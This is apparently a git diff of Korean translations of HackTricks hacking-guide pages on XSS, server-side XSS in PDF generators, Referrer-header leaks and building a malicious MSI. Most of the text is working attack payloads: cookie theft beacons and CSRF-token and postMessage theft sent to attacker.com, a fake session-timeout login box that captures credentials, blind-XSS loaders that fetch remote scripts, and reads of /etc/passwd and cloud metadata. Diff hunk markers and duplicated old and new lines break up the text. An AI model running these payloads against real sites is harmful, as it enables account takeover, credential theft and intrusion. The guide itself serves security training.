이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
```javascript
try {
null.f()
@ -1238,7 +1238,7 @@ steal-info-js.md
### Iframe 트랩
사용자가 iframe을 벗어나지 않고 페이지 내에서 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
사용자가 iframe을 벗어나지 않고 페이지 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함하여):
{{#ref}}
../iframe-traps.md
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> JavaScript에서 쿠키에 접근할 수 **없습니다** HTTPOnly 플래그가 쿠키에 설정되어 있는 경우. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면.
> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면.
### 페이지 콘텐츠 훔치기
```javascript
@ -1360,10 +1360,10 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_짧은 시간은 응답하는 포트를 나타냅니다._ _긴 시간은 응답이 없음을 나타냅니다._
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
### 자격 증명을 요청하는 상자
```markup
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 자동 완성 비밀번호 캡처
@ -1381,12 +1381,12 @@ body:username.value+':'+this.value
### 키로거
깃허브에서 몇 가지 다른 키로거를 찾았습니다:
깃허브에서 검색해보니 몇 가지 다른 키로거를 찾았습니다:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- 메타스플로잇 `http_javascript_keylogger`도 사용할 수 있습니다.
- 메타스플로잇 `http_javascript_keylogger`를 사용할 수도 있습니다.
### CSRF 토큰 훔치기
```javascript
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
</script>
```
### PostMessage 메시지 훔치기
```markup
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1432,7 +1432,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### 블라인드 XSS 페이로드
You can also use: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1473,7 +1473,7 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
```
### Regex - Access Hidden Content
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 REGEX의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1500,7 +1500,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### Markdown에서의 XSS
렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요:
렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해 보세요:
{{#ref}}
xss-in-markdown.md
@ -1508,7 +1508,7 @@ xss-in-markdown.md
### SSRF로의 XSS
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요:
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 통해 **SSRF로 업그레이드**해 보세요:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1517,7 +1517,7 @@ xss-in-markdown.md
### 동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속여** **임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속여** **임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
따라서 **PDF 생성 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
{{#ref}}
@ -1532,7 +1532,7 @@ pdf-injection.md
### Amp4Email에서의 XSS
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 속도와 보안에 중점을 두고 기능을 보장합니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다.
@ -1541,7 +1541,7 @@ AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTM
### 파일 업로드에서의 XSS (svg)
다음과 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1559,13 +1559,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

View File

@ -15,13 +15,13 @@
- **wkhtmltopdf**는 HTML과 CSS를 PDF 문서로 변환하는 능력으로 알려져 있으며, WebKit 렌더링 엔진을 활용합니다. 이 도구는 오픈 소스 명령줄 유틸리티로 제공되어 다양한 애플리케이션에서 접근할 수 있습니다.
- **TCPDF**는 PDF 생성을 위한 PHP 생태계 내에서 강력한 솔루션을 제공합니다. 이미지, 그래픽 및 암호화를 처리할 수 있어 복잡한 문서를 생성하는 데 유용합니다.
- Node.js 환경에서 작업하는 경우, **PDFKit**이 유효한 옵션을 제공합니다. HTML 및 CSS에서 직접 PDF 문서를 생성할 수 있어 웹 콘텐츠와 인쇄 가능한 형식 간의 다리를 제공합니다.
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 이 포괄적인 기능 세트는 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 포괄적인 기능 세트로 인해 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
- **FPDF**는 단순성과 사용 용이성으로 구별되는 또 다른 PHP 라이브러리입니다. 광범위한 기능 없이 PDF 생성을 위한 간단한 접근 방식을 찾는 개발자를 위해 설계되었습니다.
## Payloads
### Discovery
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -36,7 +36,7 @@
### SVG
이전의 모든 페이로드는 이 SVG 페이로드 내에서 사용될 수 있습니다. Burpcollab 서브도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예로 제시됩니다.
```markup
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
많은 **다른 SVG 페이로드**를 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 찾을 수 있습니다.
### 경로 노출
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -72,17 +72,17 @@ if not, you will at least have wich path the bot is accessing -->
### Load an external script
이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 제어하는 스크립트를 로드하도록 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다.
```markup
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### 로컬 파일 읽기 / SSRF
> [!WARNING]
> `file:///etc/passwd``http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보십시오 (SSRF)**.
> `file:///etc/passwd``http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보세요 (SSRF)**.
>
> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지에서 잠재적인 우회 방법을 확인하십시오](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지를 확인하여 잠재적인 우회 방법을 찾아보세요](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### 봇 지연
```markup
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -129,7 +129,7 @@ time += 500;
<img src="https://attacker.com/delay">
```
### 포트 스캔
```markup
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
@ -147,13 +147,13 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
이 취약점은 SSRF로 매우 쉽게 변환될 수 있습니다 (스크립트가 외부 리소스를 로드하도록 만들 수 있기 때문입니다). 그러니 이를 이용해 보세요 (메타데이터를 읽어보세요?).
이 취약점은 SSRF로 매우 쉽게 변환될 수 있습니다(스크립트가 외부 리소스를 로드하도록 만들 수 있기 때문입니다). 그러니 이를 이용해 보세요(메타데이터를 읽어보세요?).
### Attachments: PD4ML
**PDF에 대한 첨부파일을 지정할 수 있는** HTML 2 PDF 엔진이 몇 가지 있습니다, 예를 들어 **PD4ML**. 이 기능을 악용하여 **로컬 파일을 PDF에 첨부할 수 있습니다**.\
첨부파일을 열기 위해 **Firefox로 파일을 열고 클립 기호를 더블 클릭하여** 첨부파일을 **새 파일로 저장했습니다**.\
burp로 **PDF 응답을 캡처하면** PDF 내에서 **첨부파일이 일반 텍스트로 표시됩니다**.
burp로 **PDF 응답을 캡처하면 PDF 내에서 첨부파일이 일반 텍스트로 표시됩니다**.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>

View File

@ -1,14 +1,14 @@
{{#include ../banners/hacktricks-training.md}}
# Referrer 헤더 및 정책
# Referrer headers and policy
Referrer는 브라우저가 이전에 방문한 페이지를 나타내기 위해 사용하는 헤더입니다.
## 민감한 정보 유출
## Sensitive information leaked
웹 페이지 내에서 GET 요청 매개변수에 민감한 정보가 위치하는 경우, 페이지에 외부 소스에 대한 링크가 포함되어 있거나 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안할 수 있는 경우(소셜 엔지니어링). 이 경우 최신 GET 요청 내의 민감한 정보를 유출할 수 있습니다.
웹 페이지 내에서 GET 요청 매개변수에 민감한 정보가 포함되어 있는 경우, 페이지에 외부 소스에 대한 링크가 포함되어 있거나 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안할 수 있는 경우(사회 공학). 이 경우 최신 GET 요청 내의 민감한 정보를 유출할 수 있습니다.
## 완화
## Mitigation
브라우저가 민감한 정보가 다른 웹 애플리케이션으로 전송되는 것을 **피할 수 있는** **Referrer-policy**를 따르도록 설정할 수 있습니다:
```
@ -24,11 +24,11 @@ Referrer-Policy: unsafe-url
## Counter-Mitigation
이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 함):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```
## 방어
## Defense
절대 GET 매개변수나 URL 경로에 민감한 데이터를 넣지 마십시오.

View File

@ -6,8 +6,8 @@ MSI 설치 프로그램의 생성은 wixtools를 사용하여 수행되며, 특
wix MSI 사용 예에 대한 포괄적인 이해를 위해 [이 페이지](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)를 참조하는 것이 좋습니다. 여기에서는 wix MSI 사용을 보여주는 다양한 예를 찾을 수 있습니다.
목표는 lnk 파일을 실행하는 MSI를 생성하는 것입니다. 이를 달성하기 위해 다음 XML 코드를 사용할 수 있습니다 ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
목표는 lnk 파일을 실행 MSI를 생성하는 것입니다. 이를 달성하기 위해 다음 XML 코드를 사용할 수 있습니다 ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -50,7 +50,7 @@ candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
이전 명령과 유사하게, 명령과 그 출력 결과를 설명하는 이미지가 게시물에 포함되어 있습니다.
이전 명령과 유사하게, 명령과 그 출력 설명하는 이미지가 게시물에 포함되어 있습니다.
이 요약이 유용한 정보를 제공하는 것을 목표로 하지만, 보다 포괄적인 세부정보와 정확한 지침을 위해 원본 게시물을 참조하는 것이 권장됩니다.